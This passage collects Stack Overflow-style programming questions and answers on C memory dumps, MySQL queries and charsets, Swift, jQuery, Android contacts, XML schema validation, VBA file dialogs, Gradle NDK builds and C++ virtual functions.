fail!!!! buf[linelen]=0; const char*start = (char*)addr; const char*cur = start; const char*end = start+len; while(!!(cur = dumpline(buf,linelen,cur,start+len))){DLOG(fmt,buf);} } void log_dump(const void*addr,int len,int linelen) { log_dumpf("%s\n",addr,len,linelen); } </code></pre> <p>Usage example:</p> <pre><code>log_dumpf("args: %s\n", &amp;p, 0x20, 0x10); </code></pre> <p>Output:</p> <pre><code>args: 61efadc4 00 3c 17 01 6d bc 59 61 02 00 00 00 80 ae ef 61 `&lt;``m`Ya```````a args: 61efadd4 00 3c 17 01 00 00 00 00 31 a5 59 61 80 ae ef 61 `&lt;``````1`Ya```a </code></pre> <p><strong>UPDATE:</strong> see <a href="https://github.com/18446744073709551615/reDroid/blob/master/jni/reDroid/dump.cpp" rel="nofollow">dump.cpp</a> and <a href="https://github.com/18446744073709551615/reDroid/blob/master/jni/re_dump.h" rel="nofollow">re_dump.h</a> in <a href="https://github.com/18446744073709551615/reDroid/tree/master/jni" rel="nofollow">reDroid (github)</a>, it includes a recursive dump that checks if a pointer is valid.</p>
7352643	0	 <p>You can do that using three possibles methods :</p> <ol> <li><p>Design a workflow that is fired on item creation and which is attached to the list</p></li> <li><p>Create an EventReveiver to handle ItemAdded event, and create the SP group</p></li> <li><p>Modify the new form of the list. I don't recommend this way because if customers are created from another place, the logic won't be fired.</p></li> </ol> <p>Another way to solve such problems, but it requires more background of your need, is to split your data into several site collections, one for each customer. Each site collection can have a "Customer" group (maybe created from a site template), which contains the customer. As each site collections have distinct users and groups, it can avoid cross customer data leaking (due to misconfiguration of authorizations).</p>
34973591	0	mysql multi group sum <p>Below is my payments mysql 5.7.9 table need hlpe to write a query</p> <p>payments</p> <pre><code>|s.no |transaction |order-id |order-item-code|amount-type |amount ------------------------------------------------------------------------------------- |1 |Order |1 |11 |ItemPrice |200 |2 |Order |1 |11 |ItemPrice |100 |3 |Order |1 |11 |ItemFees |-12 |4 |Order |1 |11 |ItemFees |-1.74 |5 |Order |1 |11 |ItemFees |-10 |6 |Order |1 |11 |ItemFees |-1.45 |7 |Order |1 |11 |ItemFees |-4 |8 |Order |1 |11 |ItemFees |-0.58 |9 |Order |1 |22 |ItemPrice |150 |10 |Order |1 |22 |ItemPrice |50 |11 |Order |1 |22 |ItemFees |-12 |12 |Order |1 |22 |ItemFees |-1.74 |13 |Order |1 |22 |ItemFees |-10 |14 |Order |1 |22 |ItemFees |-1.45 |15 |Order |1 |22 |ItemFees |-4 |16 |Order |1 |22 |ItemFees |-0.58 |17 |Ship |1 | |other-transaction|-55 |18 |Ship Tax |1 | |other-transaction|-7.98 |19 |Order |2 |33 |ItemPrice |450 |20 |Order |2 |33 |ItemPrice |150 |21 |Order |2 |33 |ItemFees |-36 |22 |Order |2 |33 |ItemFees |-5.22 |23 |Order |2 |33 |ItemFees |-30 |24 |Order |2 |33 |ItemFees |-4.35 |25 |Order |2 |33 |ItemFees |-12 |26 |Order |2 |33 |ItemFees |-1.74 |27 |Ship |2 | |other-transaction|-55 |28 |Ship Tax |2 | |other-transaction|-7.98 </code></pre> <p>Expected result</p> <pre><code> |order-id |order-item-code |Received --------------------------------------------- |1 |11 |238.74 |1 |22 |138.74 |2 |33 |447.71 </code></pre> <p>Calculation Logic:</p> <p>sum (itemprice per order-item-code) + sum(itemfees per order-item-code) + sum (other-transcation per order-id) / distinct of order-item-id in order-id</p> <p>other transcation is the shipping fee charged on a order, I need to divide the sum of other transcations with no of unique items present in the order. in case of order-id- 1, we have 2 items as only two item id code, in case of order-id -2 we have one item. it is the no of distinct order-item -code present</p>
12168058	0	 <p>I think the best option to to have a class method on <code>HighScoresModel</code> that will access a single, shared instance of the model from any object that needs it.</p> <p>This is superior to the other options because no controller is responsible for instantiating the model, and the controllers are not unnecessarily coupled to the app delegate either.</p> <p>As an example:</p> <pre><code>@interface HighScoresModel : NSObject + (HighScoresModel *)sharedHighScoresModel; ... @end @implementation HighScoresModel static HighScoresModel *SharedHighScoresModel; + (HighScoresModel *)sharedHighScoresModel { if (!SharedHighScoresModel) { SharedHighScoresModel = [[HighScoresModel alloc] init]; } return SharedHighScoresModel; } ... @end </code></pre> <p>Hope this helps!</p>
5278216	0	 <p>alert() is a method of the window object that cannot interpret HTML tags</p>
3540754	0	php & mysql converting non- to unicode <p>I have characters like these on our web site: FÃƒÂ©mnyomÃƒÂ³</p> <p>That is a street address, entered in another language (though I do not know which). Here's the db setup:</p> <pre><code>mysql 4.1.2log charset cp1252 West European (latin1) </code></pre> <p>I'm using PHP but without mbstrings() (though I do no string conversions on this address, just echo).</p> <p>If I changed the mysql charset from cp1252 to UTF-8 and made sure I used things like <code>header( 'Content-Type: text/html; charset=UTF-8' );</code> would that improve my situation? Or, is the data hosed because it was saved in the cp1252 charset and there is nothing I can do? The original database was created in 2002 and has been used/expanded since. We've upgraded servers and re-imported dumps but ashamedly I admit to not giving charsets much thought.</p> <p>If I'm hosed, I'll probably just remove the text in those fields but I'd like to support unicode going forward, so if I issue <code>ALTER database_name DEFAULT CHARACTER SET utf8;</code> will that make sure future multibyte encodings are saved correctly, taking at least storage out of the equation (leaving me to worry about PHP)?</p> <p>Thanks -</p>
36292679	0	Command failed due to signal: Segmentation fault: 11 due to TableViewController? <p>In my 'DictionaryTableViewController: UITableViewController' class I define the below variables: </p> <pre><code>var dataObj : [String: AnyObject]! var letters : Int! var currentSection : Int!; var currentRow : Int! </code></pre> <p>In 'viewDidLoad' I have:</p> <pre><code> let jsonUrl = NSBundle.mainBundle().URLForResource("dictionary", withExtension: "json") var data = NSData(contentsOfURL: jsonUrl!) func dataReturn(object: [String: AnyObject]) { dataObj = object letters = object["collection"]!.count } do { let object = try NSJSONSerialization.JSONObjectWithData(data!, options: .AllowFragments) if let dictionary = object as? [String: AnyObject] { dataReturn(dictionary) } } catch { // Handle Error } </code></pre> <p>This is the basic structure of the JSON file that I am pulling in from NSBundle</p> <pre><code> { "collection": [{ "letter": "A", "words": [{ "word" : "Apple", "definition" : "Tasty fruit" }] },{ "letter": "B", "words": [{ "word" : "Banana", "definition" : "Meh, not bad." }] },{ "letter": "C", "words": [{ "word" : "Carrots", "definition" : "hooock twooo!" }] }] } </code></pre> <p>So now when I go style the tableView cell I believe that is what is causing this error:</p> <blockquote> <p>Command failed due to signal: Segmentation fault: 11</p> <ol> <li>While emitting SIL for 'tableView' at /Users/me/Desktop/.../DictionaryTableViewController.swift:70:14</li> </ol> </blockquote> <p>As a warning I am just getting this issue after updating to xcode 7.3. This issue was not present in 7.2 </p> <p>Line 70 from the where the error says to becoming from reads:</p> <pre><code>Line 70: override func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -&gt; UITableViewCell { let cell = tableView.dequeueReusableCellWithIdentifier("reuseIdentifier", forIndexPath: indexPath) //let currentSelection = dataObj["collection"]![indexPath.section]["words"]!![indexPath.row]! let currentSelection = dataObj["collection"]![indexPath.section]["words"]!![indexPath.row]!!! cell.textLabel?.text = currentSelection["word"] as? String cell.detailTextLabel?.text = currentSelection["definition"] as? String return cell } </code></pre> <p>Note: The commented out line in the above code was working correctly in xcode 7.2. Xcode7.3 gave me a syntax error (Ambiguous use of subscript). The code just below the commented out line are my changes that produce no syntax errors. Is this what is causing my issue? I am really at a loss here and can't seem to find an answer. Any help is appreciated! </p>
3543415	0	 <p>You're on the right track, but mind that there is a column limit. </p> <ol> <li>In your <code>MEANING</code> table, the <code>key</code> would be a foreign key to the <code>WORD.key</code> value - this allows you to relate to the values in the <code>WORD</code> table without needing them duplicated in the <code>MEANING</code> table.</li> <li>If you make it so <code>MEANING.key</code> is not unique, you can support infinite <code>MEANING.meaning</code> values</li> </ol> <p>Example</p> <h2>WORD</h2> <ul> <li>key (primary key)</li> <li>wordname</li> <li>language</li> <li>POS</li> </ul> <p>Example:</p> <pre><code>key wordname language POS ---------------------------------- 1 'foobar' 'English' idk </code></pre> <h2>MEANING</h2> <ul> <li>key</li> <li>meaning</li> <li>unique constraint on both columns to stop duplicates</li> </ul> <p>Example:</p> <pre><code>key meaning ---------------- 1 'a' 1 'b' </code></pre> <p>If you want order of the meaning values, you'll have to define a column to indicate the order somehow - IE: <code>meaning_id</code></p>
31494564	0	 <p>JSON works at EPUB-3 on iBooks. Download test book named "Create Dynamic Text and Footnote by JSON at EPUB-3" : <a href="http://teyid.org/testet/lib/?te=18072015" rel="nofollow">http://teyid.org/testet/lib/?te=18072015</a></p>
20940591	0	 <pre><code>case Success(f) =&gt; case Failure(e: ExceptionType1) =&gt; case Failure(e: ExceptionType2) =&gt; case Failure(e) =&gt; // other </code></pre> <p>or</p> <pre><code>case Success(f) =&gt; case Failure(e) =&gt; e match { case e1: ExceptionType1 =&gt; case e2: ExceptioNType2 =&gt; case _ =&gt; } </code></pre>
27422532	0	 <p>There was a glitch in handling custom protocols in the redirect URI therefore the error page. This was quickly resolved yesterday evening.</p>
39269187	0	 <p>change the field collation to :-</p> <pre><code>utf8_general_ci </code></pre> <p><a href="https://i.stack.imgur.com/hlt7s.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/hlt7s.png" alt="enter image description here"></a></p>
19354148	0	 <p>PS can only show the date because as per PS documentation at MAN page</p> <p>'Only the year will be displayed if the process was not started the same year ps was invoked, or "mmmdd" if it was not started the same day, or "HH:MM" otherwise.'</p>
7320133	0	Add alias for jquery support in Eclipse Aptana Plugin <p>I've managed to enable jQuery support using this tutorial <a href="http://stackoverflow.com/questions/4721124/how-to-enable-jquery-support-in-aptana-studio-3">How to enable jQuery support in Aptana Studio 3</a> and using code completion with:</p> <pre><code>$. or $("p").add( ... </code></pre> <p>works. But in my projects I need to use the nonconflict Version. So I added this:</p> <pre><code>&lt;aliases&gt; &lt;alias name="$" type="jQuery"/&gt; &lt;alias name="jQuery" type="jQuery"/&gt; &lt;/aliases&gt; </code></pre> <p>but this doesn't seem to work. </p> <p>This tutorial <a href="http://wiki.appcelerator.org/display/tis/Using+JavaScript+Libraries" rel="nofollow">http://wiki.appcelerator.org/display/tis/Using+JavaScript+Libraries</a> says</p> <blockquote> <p>Save it to your disk, and then drag it into your project. It does not matter where in the project it sits, so you can create a new folder for files like this if you like.</p> </blockquote> <p>so I added a folder /source/support to fit my structure and add .sdocml files there.... but nothing seems to happen. So I'm not really sure if adding the file actually does something. Tried adding it a couple of times, but this doesn't seem to trigger anything.</p> <p>Any clues? </p>
37523724	0	 <p>You can't do it with jQuery's <code>.slideUp()</code> and <code>.slideDown()</code> function because it animates <code>height</code> of the element. However you can add <code>class</code> on <code>click</code> and use css <code>transform</code> for styling them.</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$("#slide").click(function() { $("#top, #bottom").toggleClass('hidden'); });</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>.slide { position: relative; height: 100px; background-color: yellow; overflow: hidden; } .slide .innerTop, .slide .innerBottom { transition: transform 0.25s linear; transform: translateY(0); } .slide .innerTop { position: absolute; top: 0px; } .slide .innerTop.hidden { transform: translateY(-100%); } .slide .innerBottom { position: absolute; bottom: 0px; } .slide .innerBottom.hidden { transform: translateY(100%); }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"&gt;&lt;/script&gt; &lt;button id="slide"&gt;slide it&lt;/button&gt; &lt;div id="slidebottom" class="slide"&gt; &lt;div class="innerTop" id="top"&gt;Slide from top&lt;/div&gt; &lt;div class="innerBottom" id="bottom"&gt;Slide from bottom&lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
2268402	0	 <pre><code>$("ul#topElement:first") </code></pre>
2945481	0	 <p>You might find this <a href="http://www.devdaily.com/FunctionPoints/" rel="nofollow noreferrer">tutorial</a> on FPA of interest. Personally, I don't put much stock in this estimation method. From my perspective it attempts to provide a precise estimate in for things that have been shown repeatedly to not be precisely measurable. I much prefer <a href="http://www.mountaingoatsoftware.com/topics/planning-poker" rel="nofollow noreferrer">planning poker</a> or something similar that tries to group things within a similar order of magnitude and provide an estimate based on your previous estimations for similarly sized stories.</p> <p>If you're doing this for a class, simply follow the rules given in the text book and crank out the answer. If you're really intending to try this as a software development estimation method, my advice is to simplify the process rather than make it more complex. I would imagine that members of the International Function Point User Group (yes, there is one), will disagree.</p>
33896523	0	 <p>Since every <code>id</code> in a page must be unique, and the <code>&lt;s:radio&gt;</code> tag is generating multiple HTML tags, it is generating multiple <code>id</code>s; </p> <p>the real mistake however is that you are looping through radio buttons like if they would be checkboxes, while they're not. </p> <p><strong>Radio buttons allows only one choice</strong>. </p> <p>Take the element by name and read the value, to get the selected one, or empty if none is selected.</p> <p>Normally you could use <strong>dot notation</strong> (<code>.</code>)</p> <pre><code>document.forms[0].bean.gender.value </code></pre> <p>but since your name has a dot in it, you must use the other syntax (<code>[""]</code>):</p> <pre><code>document.forms[0]["bean.gender"].value </code></pre>
24690196	0	 <p>I have been able to solve the problem.</p> <p>Seemingly, the index for the foreign key must have the same column order that the constraint, which is something that I didn't find specified. </p> <p>Changing the constraint to <code>`fk_id_checklist` , `fk_id_user` , `fk_id_user_company` , `fk_sent_date`</code> solves this error.</p>
12159424	0	 <p>In javascript you can set breakpoints using the <code>debugger;</code> statement. However, they will only pause node if a debugger is actually attached.</p> <p>So launch your node script using</p> <pre><code>./node.js --debug-brk myfile.js </code></pre> <p>then launch node-inspector and press the play button to continue to the next breakpoint and it will hit your <code>debugger;</code> breakpoint (at least that works for me ATM)</p> <p>you still need one extra click after restarting, but at least your breakpoints are saved.</p> <p>if your breakpoint is not hit automatically, but only after some user action you don't need the <code>--debug-brk</code> of course.</p>
26022922	0	 <p>No different at all but on some shells # is used for the user with root privilege .</p>
26243565	0	 <p>Try this (wishing it would help, although take backup of your sheet before!):</p> <pre><code>Sub FastestBlankRowTerminator() ActiveSheet.UsedRange.Columns(6).SpecialCells(xlCellTypeBlanks).EntireRow.Delete End Sub </code></pre>
625154	0	 <p>I think they did that on purpose - views should be independent from controllers. Think of it like this: you should be able to put controllers into a totally different assembly and still have your application work. Your controllers should also be able to work with totally different set of views.</p> <p>The framework is also setup to go to the views folder to fetch appropriate files. You would have to change that behavior yourself if you decide to move the views. Might not be worth the hassle.</p> <p>And finally, if you really want to do it, you should probably look at your project file. There is a DependsUpon element that you can use to make a file go underneath another:</p> <pre><code>&lt;Compile Include="Form1.Designer.cs"&gt; &lt;DependentUpon&gt;Form1.cs&lt;/DependentUpon&gt; &lt;/Compile&gt; </code></pre>
9644704	0	How to get Specific Contact Number by using Contact Id <p>Here my Contact names are Displayed on List View . By clicking the List I get <code>ContactName</code> and <code>Contact Id</code>. From that I want to fetch<code>Phone number</code> by Using either <code>Contact ID</code> or <code>Contact name</code>,Please Help me.</p> <p>Here is My Code</p> <pre><code>void ReadContacts(String sort) { final Uri uri = ContactsContract.Contacts.CONTENT_URI; final String[] projection = new String[] { ContactsContract.Contacts._ID, ContactsContract.Contacts.DISPLAY_NAME }; //boolean mShowInvisible = false; String selection = ContactsContract.Contacts.IN_VISIBLE_GROUP + " = '1'"; String[] selectionArgs = null; final String sortOrder = ContactsContract.Contacts.DISPLAY_NAME + " COLLATE LOCALIZED ASC"; m_curContacts = managedQuery(uri, projection, selection, selectionArgs, sortOrder); String[] fields = new String[] {ContactsContract.Data.DISPLAY_NAME}; m_slvAdapter = new SimpleCursorAdapter(this, android.R.layout.simple_list_item_1, m_curContacts, fields, new int[] {android.R.id.text1}); m_slvAdapter.setFilterQueryProvider(new FilterQueryProvider() { public Cursor runQuery(CharSequence constraint) { Log.d(LOG_TAG, "runQuery constraint:"+constraint); String selection = ContactsContract.Contacts.IN_VISIBLE_GROUP + " = '1'" + " AND "+ ContactsContract.Contacts.DISPLAY_NAME + " LIKE '%"+constraint+"%'"; String[] selectionArgs = null;//new String[]{"'1'"};//, }; Cursor cur = managedQuery(uri, projection, selection, selectionArgs, sortOrder); return cur; } }); m_lvContacts.setAdapter(m_slvAdapter); // cur.close(); } public void onItemClick(AdapterView&lt;?&gt; arg0, View v, int position, long id) { ContentResolver cr; Cursor cursor = (Cursor) m_lvContacts.getItemAtPosition(position); String szDisplayName = cursor.getString(cursor.getColumnIndexOrThrow( ContactsContract.Contacts.DISPLAY_NAME)); String szId = cursor.getString(cursor.getColumnIndexOrThrow( ContactsContract.Contacts._ID)); int nId = cursor.getInt(cursor.getColumnIndexOrThrow( ContactsContract.Contacts._ID)); Log.d(LOG_TAG, "Item click:"+position+" szId:"+szId+" nId:"+nId+" Data:"+szDisplayName); Toast.makeText(getBaseContext(), "Item click:"+phoneNumber+" szId:"+szId+" nId:"+nId+" Data:"+szDisplayName, Toast.LENGTH_SHORT).show(); } </code></pre>
38029444	0	Ajax POST multiple forms with multiple PHP destinations <p>I have a page with two forms and each form uses a different PHP page for its post. I can only find examples / documentation on using multiple forms with the same PHP post script. I am struggling to get this to work, can any help ? </p> <p>This is the JQUERY, that works if i use one form, I've tried to add an ID tag but it didn't seem to work:</p> <pre><code> $(function () { $('form').on('submit', function (e) { var form = $(this); e.preventDefault(); $.ajax({ type: 'post', url: form.attr('action'), data: form.serialize(), success: function () { alert('Suppiler Amended!'); } }); }); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;?php echo "&lt;div class='table1'&gt;"; echo "&lt;div class='datagrid'&gt;"; echo "&lt;table id='tblData2'&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Notes&lt;/th&gt;&lt;th&gt;Updated By&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/thead&gt;&lt;/tr&gt;"; while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)) { ?&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;FONT COLOR='#000'&gt;&lt;b&gt;&lt;?php echo "".$row["notes"].""?&gt;&lt;/td&gt; &lt;td&gt;&lt;FONT COLOR='#000'&gt;&lt;b&gt;&lt;?php echo "".$row["enteredby"].""?&gt;&lt;/td&gt; &lt;td&gt;&lt;FONT COLOR='#000'&gt;&lt;b&gt;&lt;a href="edit.php"&gt; &lt;form name="edit" action="script1.php" method="post"&gt; &lt;input type="hidden" name="notes" value="&lt;?php echo"".$row["notes"]."";?&gt;"&gt; &lt;input type="hidden" name="noteid" value="&lt;?php echo"".$row["noteid"]."";?&gt;"&gt; &lt;input type="submit" value="EDIT"&gt; &lt;/form&gt; &lt;/a&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;?php $companyid = "".$row['id'].""; } ?&gt; &lt;/table&gt; &lt;/div&gt; &lt;br&gt; &lt;form name="notes" action="add-note.php" method="post"&gt; ADD NEW NOTE:&lt;br&gt; &lt;input type="text" name="newnote" style="height:120px;width:200px;"&gt;&lt;br&gt; &lt;input type="hidden" name="companyid" value="&lt;?php echo"".$companyid."";?&gt;"&gt; &lt;input type="hidden" name="user" value="&lt;?php echo"".$user."";?&gt;"&gt; &lt;br&gt; &lt;input type="submit" value="ADD NOTE"&gt; &lt;/form&gt; </code></pre>
5463544	0	How to format an HTTP PUT request? <p>I am using the Yahoo Placemaker API and would like to send a request but I am getting confused as to how to send the request. The request is composed of a URL and a document and inside the document, there are a bunch of parameters. Please see below.</p> <pre><code>http://wherein.yahooapis.com/v1/document documentContent=Sunnyvale+CA documentType=text/plain appid=my_appid </code></pre> <p>How do I format the URL into a request is it like so?</p> <pre><code>http://wherein.yahooapis.com/v1/documentContent=Sunnyvale+CA?documentType=text/plain?appid=my_appid </code></pre> <p>I would like to use this the Placemaker service for a Mac app written in objective-c.</p> <p>Any suggestions would be great. Thanks.</p>
9484097	0	 <p>Your trick would work, if you would tell <code>tr</code>, what slash should be translated into:</p> <pre><code>for w in $(echo "what/the/heck" | tr "/" " ") ; do echo $w; done what the heck </code></pre>
23831156	0	 <blockquote> <p>Why does the outer function return a function</p> </blockquote> <p>Because:</p> <p>(a) It has a return statement in front of a function expression</p> <p>and</p> <p>(b) The returned function is used as an argument to a function that expects that argument be a function</p> <blockquote> <p>where does the event-variable come from</p> </blockquote> <p>From the native browser code that implements the event listener routines (according to <a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventListener" rel="nofollow">the specification</a> for <code>addEventListener</code>)</p>
24480553	0	 <p>Since you have <code>border-spacing:10px;</code> there will be space remaining on the right and left side to separate the <code>td</code>. However, you could put a <code>div</code> around the table and change it's <code>margin-left</code> and <code>margin-right</code>.</p> <p>Try this:</p> <pre><code>body { background-color: gray; overflow: hidden; } .grid { margin-left: -20px; margin-right: -20px; } </code></pre> <p>You cell 4's text is overflowing but it is because you have a lot of <code>.</code> or dots without a space so when you enter text it should be fine.</p> <p><strong><a href="http://jsfiddle.net/8sw9v/1" rel="nofollow">DEMO</a></strong></p>
36011253	0	How to open multiple files in visual basic for applications (ms outlook) <p>I use this code to open just one file when I click on a button. How can I select multiple files using a part of this code and open the folder at a specific directory?</p> <pre><code> Function BrowseForFile() Dim shell: Set shell = CreateObject("WScript.Shell") Dim fso: Set fso = CreateObject("Scripting.FileSystemObject") Dim tempFolder: Set tempFolder = fso.GetSpecialFolder(2) Dim tempName: tempName = fso.GetTempName() Dim tempFile: Set tempFile = tempFolder.CreateTextFile(tempName &amp; ".hta") tempFile.Write _ "&lt;html&gt;" &amp; _ " &lt;head&gt;" &amp; _ " &lt;title&gt;Browse&lt;/title&gt;" &amp; _ " &lt;/head&gt;" &amp; _ " &lt;body&gt;" &amp; _ " &lt;input type='file' id='f' &gt;" &amp; _ " &lt;script type='text/javascript'&gt;" &amp; _ " var f = document.getElementById('f');" &amp; _ " f.click();" &amp; _ " var shell = new ActiveXObject('WScript.Shell');" &amp; _ " shell.RegWrite('HKEY_CURRENT_USER\\Volatile Environment\\MsgResp" &amp; tempName &amp; _ "', f.value);" &amp; _ " window.close();" &amp; _ " &lt;/script&gt;" &amp; _ " &lt;/body&gt;" &amp; _ "&lt;/html&gt;" tempFile.Close shell.Run tempFolder &amp; "\" &amp; tempName &amp; ".hta", 0, True BrowseForFile = shell.RegRead("HKEY_CURRENT_USER\Volatile Environment\MsgResp" &amp; tempName) shell.RegDelete "HKEY_CURRENT_USER\Volatile Environment\MsgResp" &amp; tempName fso.DeleteFile (tempFolder &amp; "\" &amp; tempName &amp; ".hta") End Function Public Sub CommandButton1_Click() If ListBox1.ListIndex = -1 Then MsgBox "Message", vbExclamation, "Warning" End If With ListBox1 .AddItem BrowseForFile End With End Sub </code></pre> <p>Thanks in advance,</p>
34027821	0	Content of Element Declaration Must Match and Other Validation Errors <p>I am very new to XML and Schema and am having a really hard time trying to validate my document. I keep getting the error that Content of Element Declaration Must Match at line 13 column 58. I have tried everything I can possibly think of and read every article and other question and can't figure it out. Please help!</p> <p>Here is my XML:</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8" ?&gt; &lt;CustomerAccount xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" LastUpdated="2011-12-01" xsi:noNamespaceSchemaLocation="me.xsd"&gt; &lt;UpdatedBy kind="SalesPerson"&gt;Lisa Moroz&lt;/UpdatedBy&gt; &lt;ShipTo country="Canada"&gt; &lt;name&gt;Maya Wells&lt;/name&gt; &lt;street&gt;44 Gamble Avenue&lt;/street&gt; &lt;city&gt;Toronto&lt;/city&gt; &lt;province&gt;ON&lt;/province&gt; &lt;zip&gt;L1M3G1&lt;/zip&gt; &lt;/ShipTo&gt; &lt;ShipTo country="Canada"&gt; &lt;name&gt;Maya Wells&lt;/name&gt; &lt;street&gt;62 Elm Street&lt;/street&gt; &lt;city&gt;Montreal&lt;/city&gt; &lt;province&gt;QC&lt;/province&gt; &lt;zip&gt;K2J3H4&lt;/zip&gt; &lt;/ShipTo&gt; &lt;BillTo&gt; &lt;country&gt;Canada&lt;/country&gt; &lt;name&gt;Maya Wells&lt;/name&gt; &lt;street&gt;78 Audley Street&lt;/street&gt; &lt;city&gt;Oakville&lt;/city&gt; &lt;province&gt;ON&lt;/province&gt; &lt;zip&gt;O3R1M5&lt;/zip&gt; &lt;/BillTo&gt; &lt;/CustomerAccount&gt; </code></pre> <p>And here is my Schema:</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"&gt; &lt;xs:element name="CustomerAccount"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:simpleType&gt; &lt;xs:element name="UpdatedBy" type="xs:string" /&gt; &lt;/xs:simpleType&gt; &lt;xs:sequence&gt; &lt;xs:element name="ShipTo" type="ShipToType" minOccurs="1" maxOccurs="unbounded"/&gt; &lt;xs:element name="BillTo" type="BillToType" /&gt; &lt;/xs:sequence&gt; &lt;xs:attribute name ="kind" type="xs:string" /&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;xs:complexType name="ShipToType"&gt; &lt;xs:sequence&gt; &lt;xs:element name="name" type="xs:string"/&gt; &lt;xs:element name="street" type="xs:string"/&gt; &lt;xs:element name="city" type="xs:string"/&gt; &lt;xs:element name="province" type="xs:string"/&gt; &lt;xs:element name="zip" type="xs:string"/&gt; &lt;/xs:sequence&gt; &lt;xs:attribute name="country" type="xs:string"/&gt; &lt;/xs:complexType&gt; &lt;xs:complexType name="BillToType"&gt; &lt;xs:sequence&gt; &lt;xs:element name="country" type="xs:string" /&gt; &lt;xs:element name="name" type="xs:string"/&gt; &lt;xs:element name="street" type="xs:string"/&gt; &lt;xs:element name="city" type="xs:string"/&gt; &lt;xs:element name="province" type="xs:string"/&gt; &lt;xs:element name="zip" type="xs:string"/&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:schema&gt; </code></pre> <p>Thanks for your help!</p>
8936890	0	RandomMove Method Tic Tac Toe Not Functional <p>I am working on creating a tic tac toe game that allows the user to play against a computer. When the user selects a button on the board, the AI will detect if there is a possible three combo. If there is no threat detected, than the computer will pick a spot randomly on the board to move.</p> <p>However, my problem is when I make a certain move, the computer sometimes places a move and sometimes get skipped. I was wondering how to fix this, my <code>randomMove()</code> method is displayed below.</p> <p>Would this situation call for a recursive method (my teacher briefly told me this might be necessary) or otherwise? If it is recursive, can you explain it? Thanks for any help!</p> <pre><code>public void RandomMove() { Random x = new Random(); int y = 1 + x.nextInt(9); if (buttons[y].getText().equals("O") || buttons[y].getText().equals("X")) { RandomMove(); } else { buttons[y].setText("O"); buttons[y].setEnabled(false); } } </code></pre> <p>More specifically I get this error sometimes:</p> <blockquote> <p>Exception in thread "AWT-EventQueue-0" java.lang.StackOverflowError</p> </blockquote>
38755365	0	 <p>Running gradle with the --info flag to determine the command being run:</p> <pre><code>gradlew :app:compileHello-jniArm64- v8aDebugAllSharedLibraryHello-jniMainC --info </code></pre> <p>In the output you should see a command containing <code>aarch64-linux-android-gcc -dM -E -</code> with a full path. Check that you do actually have this binary at the path shown (it should have been included in the android ndk).</p> <p>Assuming you do, try running the command yourself. It will read from stdin and print a bunch of constants to stdout (gradle is trying to parse the version from this), but you want to see stderr:</p> <pre><code>echo '' | ./aarch64-linux-android-gcc -dM -E - 1&gt;/dev/null </code></pre> <p>If the command fails, an error should be shown which can hint at the problem. In my case it was trying to include a folder <code>4.9.x</code> but I had a folder named <code>4.9</code>. Most likely there will be a different problem with your setup.</p>
6235391	0	Set a HTML elements width attribute right away using javascript <p>Is it possible to set an elements width like this:</p> <pre><code>&lt;img id="backgroundImg" src="images/background.png" alt="" width="javascript:getScreenSize()['width']+px" height="1100px"/&gt; </code></pre> <p>Where getScreenSize() is a javascript function.</p> <pre><code> function getScreenSize() { var res = {"width": 630, "height": 460}; if (document.body) { if (document.body.offsetWidth) res["width"] = document.body.offsetWidth; if (document.body.offsetHeight) res["height"] = document.body.offsetHeight; } if (window.innerWidth) res["width"] = window.innerWidth; if (window.innerHeight) res["height"] = window.innerHeight; alert( res['width'] ); return res; } </code></pre> <p>Or do I have to change the img's width inside a javascript function?</p> <pre><code>function changeImgWidth( img ) { img.offsetRight = getScreenWidth()['width'] + "px"; } </code></pre>
8931834	0	 <p>The ISO C++ Standard specifies that all virtual methods of a class that are not pure-virtual must be defined. </p> <p>Simply put the rule is:<br> If your derived class overiddes the Base class virtual method then it should provide a definition as well, If not then the Base class should provide the definition of that method. </p> <p>As per the above rule in your code example, <code>virtual void bar();</code> needs a definition in the Base class.</p> <p>Reference:</p> <p><strong>C++03 Standard: 10.3 Virtual functions [class.virtual]</strong> </p> <blockquote> <p>A virtual function declared in a class shall be defined, or declared pure (10.4) in that class, or both; but no diagnostic is required (3.2).</p> </blockquote> <p>So either you should make the function pure virtual or provide a definition for it. </p> <p>The <strong><a href="http://gcc.gnu.org/faq.html#vtables" rel="nofollow">gcc faq</a></strong> doccuments it as well: </p> <blockquote> <p>The ISO C++ Standard specifies that all virtual methods of a class that are not pure-virtual must be defined, but does not require any diagnostic for violations of this rule <code>[class.virtual]/8</code>. Based on this assumption, GCC will only emit the implicitly defined constructors, the assignment operator, the destructor and the virtual table of a class in the translation unit that defines its first such non-inline method.</p> <p>Therefore, if you fail to define this particular method, the linker may complain about the lack of definitions for apparently unrelated symbols. Unfortunately, in order to improve this error message, it might be necessary to change the linker, and this can't always be done.</p> <p>The solution is to ensure that all virtual methods that are not pure are defined. Note that a destructor must be defined even if it is declared pure-virtual <code>[class.dtor]/7</code>.</p> </blockquote>
